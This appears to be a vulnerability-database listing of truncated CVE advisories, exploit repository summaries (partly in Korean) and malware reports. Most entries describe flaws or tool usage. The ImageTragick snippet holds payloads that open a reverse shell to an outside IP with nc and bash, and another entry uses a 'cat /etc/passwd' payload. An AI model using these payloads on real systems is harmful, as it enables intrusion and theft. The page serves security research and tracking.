EUVD-2026-89334

simple-git unsafe-operation guard does not block trailer command configuration...

CVE-2024-4358

CVE-2024-4358 CVE-2024-4358에 대한 취약점 탐지 및 대규모 익스플로잇 도구 설치: git clone https://github.com/RevoltSecurities/CVE-2024-4358 pip install -r requirements.txt python3 exploit.py --help 사용법: python3 exploit.py -h / / / / / / / / | |// // / / / / / / / / / / / / / / // // / / / / / / / ///|// /|// // //...

cve-2025-49844

CVE-2025-49844 CVE-2025-49844, 일명 RediShell로도 알려진 제 개인 proof-of-concept입니다. 지원 대상 빌드: x86-64 Linux redis:8.2.1-alpine Docker 이미지 x86-64 Linux redis:8.2.1-bookworm Docker 이미지 조금 투박하고, 아마 Wiz Research의 것만큼 훌륭하지는 않을 것입니다. 그래도 Hexacon 2025 발표 영상이 업로드되기 전에 작동하도록 만든 것에 만족하며, 조사하는 과정이 매우 즐거웠습니다. 사용법 단방향...

cve-2023-1671

Сve-2023-1671 How does cve-2023-1671https://vulners.com/cve/CVE-2023-1671 work? /opt/ws/bin/ftsblistpack은 /opt/ws/bin/sblistpack을 호출하는 Perl 스크립트입니다. sblistpack 역시 Perl 스크립트입니다. 셸 명령 인자는 작은따옴표로 묶여 있습니다: $rc += system"$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'"; 이것은 나중에 취약점으로 이어질 중...

log4j-rce-test

빌드 ./build.sh log4j RCE 서버 시작 ./start-log4j-rce-server.sh 테스트 java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j 실행 현재 폴더의 hack.log에서 로그가 기록되는지 확인하세요 다음 줄을 변경할 수 있습니다 String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + " ./hack.log" ; apache-log4j-poc/src/main/java/Exploit.java 파일에서 원하는 대...

CVE-2023-34152

CVE-2023-34152 ImageMagick 6.9.6-4에 영향을 미치는 RCE 취약점입니다. 이 취약점을 통해 공격자는 피해자 시스템에서 명령을 실행할 수 있습니다. 따라서 원격 명령 실행이 가능합니다. 이는 fullwaywang의 CVE-2023-34152 발견에서 영감을 받은 POC입니다. 취약점 공개 Usage: python3 CVE-2023-34152.py AttackerIP AttackerPort 설명 OpenBlob의 임의 코드 실행 취약점셸 명령 주입으로, 실제로는 CVE-2016-5118에 대한 불완전한...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OS 명령 주입 PoC 영어 버전 개요 이 리포지토리는 Composer 의 Perforce VCS 드라이버에 존재하는 중대한 OS 명령 주입 취약점 CVE-2026-40176 의 Proof of ConceptPoC입니다. 이 취약점은 Composer 2.2.27 및 2.9.6 이전 버전에 영향을 미칩니다. 취약점은 Perforce::generateP4Command 메서드에 존재합니다. 셸 명령을 조립할 때 url, p4user, client 등의 리포지토리 설정 값에...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki 원격 코드 실행 RCE CVE-2025-24893 에 대한 업데이트된 개념 증명PoC 익스플로잇입니다. XWiki의 인증되지 않은 치명적인 RCE 취약점입니다. 이 버전은 임의의 셸 명령 실행과 깔끔한 리버스 셸 주입을 가능하게 하여 원본을 개선했습니다. 작성자: HexHunter404 ⚠️ 경고 이 코드는 교육 및 허가된 침투 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적인 테스트 권한이 없는 시스템에서는 사용하지 마십시오. ✨ 기능 bash -c ''를 통한 명령 실행 지원...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

Malicious code in botmaker-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface...

Richsploit

Richsploit Richsploit: RichFaces용 익스플로잇 툴킷. 개요 Richsploit은 RichFaces를 사용하는 JSF 엔드포인트를 익스플로잇하는 데 사용할 수 있습니다. 3.1.0 이상의 모든 버전이 취약합니다. usage: Richsploit -e,--exploit 0: CVE-2013-2165 1: CVE-2015-0279 2: CVE-2018-12532 3: CVE-2018-12533 4: CVE-2018-14667 -p,--payload The file containing serialized...

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE 익스플로잇 스캐너 CVE-2025-3248 이 Python 기반 스캐너는 CVE-2025-3248 을 통해 Langflow 인스턴스에서 인증되지 않은 원격 코드 실행RCE 취약점 탐지를 자동화합니다. /api/v1/validate/code 엔드포인트를 악용하여 임의의 셸 명령을 실행하는 개념 증명PoC 페이로드를 사용합니다. 🚨 CVE 세부 정보 CVE : CVE-2025-3248 영향 : 인증되지 않은 원격 코드 실행 구성 요소 : Langflow API /api/v1/validate/code...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through t...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQ와 OpenWire 개요 ActiveMQ는 JMS를 지원하는 클라이언트를 포함하는 브로커, 자바 뿐만 아니라 다양한 언어를 이용하는 시스템 간 의 통신을 할 수 있게해준다. 또한 클러스터링 기능 및 DB 그리고 FileSystem을 통해 각 시스템간의 일관성 및 지속성을 유지 시켜주는 오픈 소스 메세징 그리고 통합 패턴 서버 입니다. OpenWire는 Apache ActiveMQ에서 사용되는 이진 메시징 프로토콜...

PyHmmm

PyHmmm 이게 뭔가요? 이것은 Python으로 작성된 Havoc C2용 서드파티 에이전트입니다. 사용자 정의 Havoc 에이전트 작성 방법을 배우기 위한 기본 PoC로 제작되었으며, 관련 블로그 게시물은 https://codex-7.gitbook.io/codexs-terminal-window/red-team/red-team-dev/extending-havoc-c2/third-party-agents 입니다. 기능 현재 지원하는 명령은 2개뿐입니다: shell system command exit 이는 OPSEC 에 안전하거나 ...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by...

CVE-2026-104859 Nx: OS command injection in the @nx/docker release pipeline

Nx is a monorepo solution for TypeScript and polyglot codebases. From 21.4.0 until 22.7.8 and from 23.0.0 until 23.1.1, the @nx/docker release pipeline builds docker tag, image lookup, and docker push invocations as shell command strings. The release.docker.repositoryName and registryUrl...

CVE-2021-45897

CVE-2021-45897 CVE-2021-45897일명 SCRMBT-180에 대한 PoC - SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 사용 예시: .venv ➜ CVE-2021-45897 git:main ✗ ./exploit.py -u user -p --payload "cat /etc/passwd" INFO:CVE-2021-45897:Login did work ...

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack 이 스크립트들은 Apache Struts 취약점CVE-2017-5638을 탐지하고 익스플로잇하는 데 사용할 수 있는 몇 가지 스크립트입니다. MassScanner와 Exploiter가 있습니다. 스캐너를 사용하여 URL 목록을 대규모로 스캔한 후 Exploiter로 익스플로잇할 수 있습니다. Exploiter는 취약한 서버에서 임의의 셸 명령을 실행합니다...